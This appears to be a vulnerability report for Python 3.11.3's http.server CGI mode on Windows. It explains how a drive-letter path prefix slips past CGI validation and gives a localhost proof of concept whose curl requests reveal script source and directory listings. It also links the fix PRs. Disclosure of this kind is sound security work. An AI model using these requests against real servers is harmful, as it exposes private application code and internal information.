Description
Python 3.11.3 http.server CGI mode - CGI source code disclosure
Python http.server CGI implementation module discloses the source code of CGI scripts due to an error while validating the CGI path on Windows.
This may allow an attacker to read source code of CGI applications and obtain internal information.
Tested on
Python 3.11.3 amd64 on Windows 11
Analysis
The is_cgi method will return false when the server is called with the following path: http://localhost:8000/X:/cgi-bin/hi.py
Line 1008 in 4536b2e
This path is used inside the function translate_path, which will ignore the "X:" part, hence the final path will point to the cgi-bin/hi.py file
Line 830 in 4536b2e
Proof-of-Concept
- Install Python 3.11.3 on Windows
- Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server --cgi 8000
- From another terminal, this shows that the hi.py CGI script is running:
$ curl -v http://localhost:8000/cgi-bin/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Tue, 02 May 2023 01:23:01 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>
When called with the following command, the source code for hi.py is returned instead of the HTML output:
$ curl -v http://localhost:8000/X:/cgi-bin/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /X:/cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Tue, 02 May 2023 01:26:21 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Mon, 01 May 2023 23:45:13 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0
Directory Listing:
$ curl -v http://localhost:8000/X:/cgi-bin/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /X:/cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sun, 21 May 2023 00:44:10 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 244
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /X:/cgi-bin/</title>
</head>
<body>
<h1>Directory listing for /X:/cgi-bin/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0
Linked PRs
- gh-104711: Ignore the driver letters in
is_cgi
method in http/server.py #114346 - gh-104711: Add security warning to the CGIHTTPRequestHandler document #115915
- [3.12] gh-104711: Add security warning to the CGIHTTPRequestHandler document (GH-115915) #116235
- [3.11] gh-104711: Add security warning to the CGIHTTPRequestHandler document (GH-115915) #116236